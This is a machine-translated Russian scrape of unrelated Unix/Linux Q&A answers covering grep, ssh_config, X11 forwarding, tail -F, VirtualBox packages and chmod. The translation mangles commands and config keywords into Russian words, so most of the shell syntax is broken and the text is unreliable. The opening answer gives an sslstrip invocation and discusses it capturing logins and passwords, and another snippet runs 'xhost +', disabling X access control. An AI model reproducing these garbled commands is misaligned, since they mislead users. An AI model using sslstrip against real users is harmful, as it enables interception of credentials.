Или просто sslstrip -ф-п -к 10000 это делает журнал по умолчанию в любом случае..

И самые современные браузеры даст некоторый тип ошибки из sslstrip, как веб-страницы, не исключая и пароль или не ловить ПВ/логин на всех. Я не нашел, чтобы это исправить еще.

+261
yypower 26 окт. 2013 г., 11:54:35

Для записи, я смог обойти это досадное ограничение для Windows 10 домашняя версия на Ubuntu 18.04 (бета) следующие:

  1. В КВМ Вирт-менеджер нажимаем на инструмент “процессоры”,
  2. Проверьте “установить вручную окно топологии процессора”,
  3. Назначение 1 гнездо (это то, что ограничивается окнами дома),
  4. У меня процессор 8700K поэтому выбрали 3 ядра и 2 потока. “Текущее выделение” автоматический ввод, затем “6” (12 доступных).
  5. Windows сообщает о 6 виртуальных ядер
  6. Проверил при на хост во время игры Netflix в Windows и может просмотреть все ядра под ударом (и хорошая производительность), а не раньше была низкая производительность и ограниченный ядра ответ.
+255
DoubleA 12 сент. 2018 г., 13:59:11

Я ищу файлы, которые содержат строку. Моя команда:

команда grep -rwl по '/Путь/' -е "строку"

Я хочу, чтобы ограничить результат пути, содержащие другую строку. Я могу сделать это вот так:

грэп -rwl по '/Путь/' -е "строку" path_string | команда grep''

Я хотел бы, чтобы оптимизировать исполнение, если можно, только глядя на пути с 'path_string' для начала. Как я могу добиться этого?

+249
Amaury Lira 7 дек. 2015 г., 18:50:29

Вам нужно :

IdentityFile ~/.СШ/id_bastion
AddKeysToAgent да
ForwardAgent да

Проверить мужчину файле ssh_config | меньше +/AddKeysToAgent

+235
Silvio Picardo 2 июл. 2015 г., 03:03:09

Я не могу показаться, чтобы найти то, что config отсутствует. На самом деле этот путь может быть что-то изменить в Cygwin. У меня была подобная установка, которая всегда работает. Я убедитесь, что брандмауэр в Windows отключить.

 [Разой@образом: mytest] дисплей$ экспорт=:0.0
 [разе@образом: mytest]$ xhost +для
 контроля доступа с ограниченными физическими возможностями, клиенты могут подключаться с любого хоста
 [разе@образом: mytest]$ экспорт отображать=значение localhost:0.0
 [разе@образом: mytest]$ xhost +для
 команду xhost: не удалось открыть дисплей "на localhost:0.0"

 [разе@образом: mytest]$ можно список
 образом: mytest и Unix:0 МТИ-магия-печенье-1 7ab7e0be4cf96102784fb9c3bb9f0d3b
 образом: mytest:0 МТИ-магия-печенье-1 7ab7e0be4cf96102784fb9c3bb9f0d3b
 образом: mytest:0 МТИ-магия-печенье-1 7ab7e0be4cf96102784fb9c3bb9f0d3b

 [разе@образом: mytest]$ телнет на localhost 6000
 Попытка 127.0.0.1...
 телнет: не удалось подключиться к удаленному серверу: подключение отказался
+195
mban94 26 окт. 2010 г., 06:46:54

Если ваш хвост поддерживает его, использовать хвост -Ф, это хорошо работает с исчезающими и вновь появляющиеся файлы. Просто убедитесь, что вы начинаете хвост из каталога, который будет оставаться на месте.

- это стенография для --выполните=имя-повтор: хвост будет следовать файлы по имени, а не файловый дескриптор, и повторит попытку, когда файлы являются недоступными (например, потому что они были удалены).

(Ряд багов, связанных с ... следуйте за=название с --повторить, были зафиксированы в coreutils 8.26, поэтому вы можете столкнуться с проблемами с более ранними версиями; например, когда повтор каталога, содержащего хвостатые файл удаляется, как представляется, только во всех случаях с версии 8.26 или поздно.)

+173
techindia 17 авг. 2016 г., 03:44:04

Я нашел эту нить, которая звучит как ваш вопрос. Название: VirtualBox гость модуль не загружает.

отрывок

Есть ли у вас установлен официальный дополнений VirtualBox гость? Вы не должны этого делать. Если это так, удалите их и установите пакет

 Пакман -с $ судо в VirtualBox-archlinux-дополнения
 судо Пакман -СМО $ в VirtualBox

следует дать:

 местные/в VirtualBox-archlinux-дополнения 4.1.8-2
 местные/в VirtualBox-archlinux-модули 4.1.8-3

Источник: Вики: Вики ArchLinux - В VirtualBox

Обновление #1

За комментарий, оставленный @DavidGrayson имена пакетов могут измениться. Так что попробуйте эти, а если выше не работают:

Пакман -с $ судо в VirtualBox-гость-модули-арка в VirtualBox-гость-утилиты
+156
Mona Faraj 9 сент. 2013 г., 08:16:55

Как насчет

чмод 666 на /dev/вход/счет-ИД/с USB-Metrologic_Metrologic_Scanner-событие-рэоз

Я надеюсь, что это достаточно элегантно!

От гну руководство для чмод:

команду chmod никогда не изменяет права на символьные ссылки, так как чмод системный вызов не может изменить их разрешения. Это не проблемой, так как права символьных ссылок никогда не используются. Однако, для каждой символической ссылки, перечисленные в командной строке, командой chmod изменения разрешения указанное файл.

Это может быть GNU-специфический, но поскольку вы используете дистрибутив Linux, вы, вероятно, есть в GNU coreutils.

+142
Seivan 1 окт. 2019 г., 17:43:34

Немного назад я пытался установить пакет с помощью aptitude. Одна из его замен удален GNOME и многие другие пакеты. Панель в нижней части экрана нет в принципе, кто-нибудь знает, как вернуть бар обратно, и, надеюсь, все остальные недостающие пакеты Debian, в Debian без переустановки?

+84
Russell Ladd 30 янв. 2017 г., 16:42:43

Показать вопросы с тегом